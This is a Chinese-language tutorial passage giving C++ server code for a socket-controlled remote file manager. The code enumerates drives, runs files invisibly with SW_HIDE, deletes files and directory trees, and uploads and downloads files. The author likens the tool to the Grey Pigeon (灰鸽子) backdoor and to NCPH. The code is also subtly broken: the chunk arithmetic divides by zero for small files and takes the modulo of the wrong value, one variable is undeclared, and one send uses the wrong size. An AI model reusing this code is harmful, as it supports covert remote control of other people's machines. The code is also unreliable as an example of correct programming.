在上一篇中,我们以经介绍了程序的流程和框架,在本篇将详细讨论各个功能的实现主要包括
1.获取磁盘信息
2.获取目录信息
3.获取文件信息
4.运行指定文件
5.删除指定文件
6.删除指定目录
7.创建指定目录
8.上传下载文件
9.获取远程文件图标
获取磁盘信息
磁盘信息可以用API GetDriveType来实现,它以路径名作为参数(如C:/)返回磁盘类型,其实例代码如下
DWORD GetDriverProc(COMMAND command,SOCKET client)
{
for(char i='A';i<='Z';i++)
{
char x[20]={i,':'};
UINT Type=GetDriveType(x);
if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE||Type==DRIVE_CDROM)
{
/*返回处理结果...*/
}
}
return 0;
}
GetDriveType可能返回的结果如下
#define DRIVE_UNKNOWN 0 // 无效路径名
#define DRIVE_NO_ROOT_DIR 1 // 无效路经,如无法找到的卷标
#define DRIVE_REMOVABLE 2 // 可移动驱动器
#define DRIVE_FIXED 3 // 固定的驱动器
#define DRIVE_REMOTE 4 // 网络驱动器
#define DRIVE_CDROM 5 // CD-ROM
#define DRIVE_RAMDISK 6 // 随机存取(RAM)磁盘
在上面的实例代码中我们只取,硬盘,光驱和移动磁盘
获取目录信息
这里只要枚举用户指定的目录就可以了,其实例代码如下:
DWORD GetDirInfoProc(COMMAND command,SOCKET client)
{
/*command为要枚举的路径如(C:/)client为返回结果的SOCKET句柄*/
FILEINFO fi;
memset((char*)&fi,0,sizeof(fi));
strcat((char*)command.lparam,"*.*");//枚举所有文件
CFileFind file;
BOOL bContinue = file.FindFile((char*)command.lparam);
while(bContinue)
{
memset((char*)&fi,0,sizeof(fi));
bContinue = file.FindNextFile();
if(file.IsDirectory()) //为目录
{
fi.IsDir=true;
}
strcpy(fi.FileName,file.GetFileName().LockBuffer()); //保存文件名称
if(send(client,(char*)&fi,sizeof(cmd),0)==SOCKET_ERROR)
{
cout << "Send Dir is Error/n";
}
}
return 0;
}
获取文件信息
以下实例代码用来获取 文件的名称,路径,时间,属性等信息
DWORD FileInfoProc (COMMAND command,SOCKET client)
{
/*command为要查看的文件如(C:/TEST.EXE)client为返回结果的SOCKET句柄*/
FILEINFO fi;
HANDLE hFile;
WIN32_FIND_DATA WFD;
memset((char*)&WFD,0,sizeof(WFD));
if((hFile=FindFirstFile((char*)command.lparam,&WFD))==INVALID_HANDLE_VALUE) //查看文件属性
{
fi.Error=true;
return 0;
}
//得到文件的相关信息
SHGetFileInfo(WFD.cFileName,
FILE_ATTRIBUTE_NORMAL,
&shfi, sizeof(shfi),
SHGFI_ICON|SHGFI_USEFILEATTRIBUTES|SHGFI_TYPENAME );
strcpy(fi.FileName,(char*)command.lparam); //文件路径
FileLen=(WFD.nFileSizeHigh*MAXDWORD+WFD.nFileSizeLow)/1024; //文件长度
fi.FileLen=FileLen;
//转化格林时间到本地时间
FileTimeToLocalFileTime(&WFD.ftLastWriteTime,&localtime);
FileTimeToSystemTime(&localtime,&systime);
//文件修改时间
sprintf(stime,"%4d-%02d-%02d %02d:%02d:%02d",
systime.wYear,systime.wMonth,systime.wDay,systime.wHour,
systime.wMinute,systime.wSecond);
if(GetFileAttributes((char*)command.lparam)&FILE_ATTRIBUTE_HIDDEN)
{
/*隐藏文件...*/
}else
if(GetFileAttributes((char*)command.lparam)&FILE_ATTRIBUTE_READONLY)
{
/*只读文件...*/
}
send(client,(char*)&fi,sizeof(fi),0);
FindClose(hFile);
return 0;
}
运行指定文件
运行文件 有以下几种方法 1.WinExec 2.ShellExecute 3.CreateProcess
这里使用的是ShellExecute其实例代码如下
DWORD ExecFileProc (COMMAND command,SOCKET client)
{
/*command为要运行的文件路径如(C:/TEST.EXE)client为返回结果的SOCKET句柄*/
COMMAND cmd;
memset((char*)&cmd,0,sizeof(cmd));
cmd.ID=ExecFile;
if(ShellExecute(NULL,"open",(char*)command.lparam,NULL,NULL,SW_HIDE)<(HINSTANCE)32)
{
strcpy((char*)cmd.lparam,"文件执行失败!");
send(client,(char*)&cmd,sizeof(cmd),0);
}
else
{
strcpy((char*)cmd.lparam,"文件执行成功!");
send(client,(char*)&cmd,sizeof(cmd),0);
}
return 0;
}
API函数ShellExecute原形为:
HINSTANCE ShellExecute(
HWND hwnd, //窗口句柄
LPCTSTR lpOperation, //操作类型
LPCTSTR lpFile, //文件指针
LPCTSTR lpParameters, //文件参数
LPCTSTR lpDirectory, //缺省目录
INT nShowCmd //显示方式
);
这是一个相当有意思的函数,在调用此函数时只须指定要执行的文件名,而不必管用什么程序去打开
或执行文件,WINDOWS会自动根据要打开或执行的文件去判断该如何执行文件或用什么程序去打开文件,如果
要求不高的话比CreateProcess要好用的多,如果想做出像NCPH和灰鸽子那样带参数执行的话,其实也不难
只要指定lpParameters为执行参数就可了
删除指定文件
DWORD DelFileProc (COMMAND command,SOCKET client)
{
/*command为要删除的文件路径如(C:/TEST.EXE)client为返回结果的SOCKET句柄*/
COMMAND cmd;
memset((char*)&cmd,0,sizeof(cmd));
cmd.ID=DelFile;
SetFileAttributes((char*)command.lparam,FILE_ATTRIBUTE_NORMAL); //去掉文件的系统和隐藏属性
if(DeleteFile((char*)command.lparam)==0)
{
strcpy((char*)cmd.lparam,"文件删除失败!");
send(client,(char*)&cmd,sizeof(cmd),0);
}
else
{
strcpy((char*)cmd.lparam,"文件删除成功!");
send(client,(char*)&cmd,sizeof(cmd),0);
}
return 0;
}
需要注意的是在 DeleteFile前应该去文件的系统和隐藏属性,否则会删除失败
删除目录
可以用RemoveDirectory函数删除目录,但是RemoveDirectory有个缺点就是只能删除为空的的目录,对于不为空
的目录就无能为力了,想要删除不无空的目录可以使用下面的实例代码
BOOL DeleteDirectory(char *DirName)
{
CFileFind tempFind;
char tempFileFind[200];
sprintf(tempFileFind,"%s*.*",DirName);
BOOL IsFinded=(BOOL)tempFind.FindFile(tempFileFind);
while(IsFinded)
{
IsFinded=(BOOL)tempFind.FindNextFile();
if(!tempFind.IsDots())
{
char foundFileName[200];
strcpy(foundFileName,tempFind.GetFileName().GetBuffer(200));
if(tempFind.IsDirectory())
{
char tempDir[200];
sprintf(tempDir,"%s//%s",DirName,foundFileName);
DeleteDirectory(tempDir);
}
else
{
char tempFileName[200];
sprintf(tempFileName,"%s//%s",DirName,foundFileName);
SetFileAttributes(tempFileName,FILE_ATTRIBUTE_NORMAL); //去掉文件的系统和隐藏属性
DeleteFile(tempFileName);
cout <<"now delete "<<tempFileName<<"/n";
}
}
}
tempFind.Close();
if(!RemoveDirectory(DirName))
{
return FALSE;
}
return TRUE;
}
这个函数的代码可以参照上面 枚举目录的代码来看,它的原理就是枚举目录下的所有文件并删除,最后删除
指定目录,成功返回TRUE失败则返回FALSE,这段代码可以直使用,但要小心使用,因为我在传参数时的失误
结果把整个D盘差点清空了..........
创建目录
实例代码如下:
DWORD CreateDirProc (COMMAND command,SOCKET client)
{
/*command为要创建目录的路径如(C:/)client为返回结果的SOCKET句柄*/
COMMAND cmd;
memset((char*)&cmd,0,sizeof(cmd));
cmd.ID=CreateDir;
if(::CreateDirectory((char*)command.lparam,NULL))
{
strcpy((char*)cmd.lparam,"创建目录成功!");
send(client,(char*)&cmd,sizeof(cmd),0);
}
else
{
strcpy((char*)cmd.lparam,"创建目录失败!可能有重名文件或文件夹");
send(client,(char*)&cmd,sizeof(cmd),0);
}
return 0;
}
在创建目录时应该注意几点,首先创始目录的上层目录必须是存在的,比如想创建C:/DIR1/DIR2目录,要求
DIR1是必须存在,用CreateDirectory并不能创建多级目录.再者不可以存在和要创建目录同名的目录和文件
因为在磁盘上目录和文件的存放格式是相同的,惟一不同的是 目录的属性与文件属性不同
(FILE_ATTRIBUTE_DIRECTORY属性),所在即使有同名文件也会创始失败.
上传下载文件
上传下载是是文件管理的重点所在,在这里按文件的大小,分两种情况讨论文件的传输方法
小文件的传输相对比较简单可按以下方法进行
1.首先发送文件长度和名称
2.跟据文件长度建立缓冲区
3.读取整个文件到缓冲区
4.发送缓冲区里的内容
其实现代码如下:
CFile file;
FILEINFO fileinfo;
if(file.Open(path,CFile::modeRead|CFile::typeBinary))
{
fileinfo.FileLen=file.GetLength(); //文件长度
strcpy(fileinfo.FileName,file.GetFileName()); //文件名称
send(client,(char*)&fileinfo,sizeof(fileinfo),0); //发送长度和名称
char *date=new char[fileinfo.FileLen]; //分配和文件长度相同的缓冲区
int nLeft=fileinfo.FileLen;
int idx=0;
file.Read(date,fileinfo.FileLen); //读整个文件到缓冲区
while(nLeft>0)
{
int ret=send(client,&date[idx],nLeft,0); //发送文件
if(ret==SOCKET_ERROR)
{
break;
}
nLeft-=ret;
idx+=ret;
}
file.Close();
delete[] date;
}
跟据上面的实例相信大家可以领悟到文件传输的基本原理和方法,虽然很简单但用它传输小文件还是非常实用的
大文件传输方法
用上面的方法传输小文件还可以,但是大文件呢?比如一个500M的电影.上面的方法就会力不从心了因为
按思路要创建一个跟文件大小相同的缓冲区,显然这是不太现实的,我们就得采用另种方法了,在这里我们使用
分块文件传输,所谓分块是指把大文件分成若干小文件,然后传输,比如设定每块大小为64KB其思路如下
1.取得文件长度和名称
2.跟据长度/64KB计算文件块数
3.分配64KB缓冲区
4.读文件到缓冲区
5.发送缓冲的数据
6.重复4,5两步直到发完所有数据
其实现代码如下:
#define CHUNK_SIZE (64*1024) //分为64K块传输
DWORD GetFileProc (COMMAND command,SOCKET client)
{
/*command为要下载文件的路径如(C:/TEST.EXE)client为发送文件的SOCKET句柄*/
COMMAND cmd;
FILEINFO fi;
memset((char*)&fi,0,sizeof(fi));
memset((char*)&cmd,0,sizeof(cmd));
cmd.ID=GetFile;
CFile file;
int nChunkCount=0; //文件块数
if(file.Open((char*)command.lparam,CFile::modeRead|CFile::typeBinary))//打开文件
{
int FileLen=file.GetLength(); //取文件长度
fi.FileLen=file.GetLength();
strcpy((char*)fi.FileName,file.GetFileName()); //取文件名称
memcpy((char*)&cmd.lparam,(char*)&fi,sizeof(fi));
send(client,(char*)&cmd,sizeof(cmd),0); //发送文件名称和长度
nChunkCount=FileLen/CHUNK_SIZE; //文件块数
if(FileLen%nChunkCount!=0)
nChunkCount++;
char *date=new char[CHUNK_SIZE]; //创建数据缓冲区
for(int i=0;i<nChunkCount;i++) //分为nChunkCount块发送
{
int nLeft;
if(i+1==nChunkCount) //最后一块
nLeft=FileLen-CHUNK_SIZE*(nChunkCount-1);
else
nLeft=CHUNK_SIZE;
int idx=0;
file.Read(date,CHUNK_SIZE); //读取文件
while(nLeft>0)
{
int ret=send(client,&date[idx],nLeft,0);//发送文件
if(ret==SOCKET_ERROR)
{
break;
}
nLeft-=ret;
idx+=ret;
}
}
file.Close();
delete[] date;
}
return 0;
}
这样文件传输部分就完成了,止于客户端的实现于上面代码其本相同,只是由读文件变为写文件,详细请参考源代码
获取远程ICO文件图标
我们在文件列表框中需要显示文件的图标,但远程文件的ICO图标是无法直接得到的
猛若RADMIN 黑洞者也没有到(对于EXE文件只显示可执行程序图示),当然了也不见的决对没有......
我们可以通过如下变通方法得到:就是跟据文件的扩展名,从本地注册表中查找对应的程序图标
不过这也有它的缺点对于EXE文件它只能显示一个可执行文件的图示,而且只能显示注册过的图示比如,如果
本机装有WINRAR那么就可以识别.RAR的文件图示,否则就无法识别...
实现方法
CImageList m_ImageList;
m_ImageList.Create(32,32,ILC_COLOR32,10,30); //创建图示
m_list.SetImageList(&m_ImageList,LVSIL_NORMAL); //与列表控件相关连
SHFILEINFO info;
memset((char*)&info,0,sizeof(info));
SHGetFileInfo(fi->FileName,0,&info,sizeof(&info), SHGFI_ICON|SHGFI_USEFILEATTRIBUTES);//关键所在
int i = m_ImageList.Add(info.hIcon);
m_list.InsertItem(i,fi->FileName,i);
原来我试图在Server端通过上面的代码把info.hIcon句柄保存下来,然后放到Client,在单台电脑上很好使,但
Server在另一台电脑上时就玩完了,因为info.hIcon里保存的句柄是个索引而每台机器上的索引是不相同的所以
直接导致的结果就是:什么也显示不出来.....
到这里程序的主要功能实现就介绍完了,下一篇将详细介绍断点续传和多线程传输的实现
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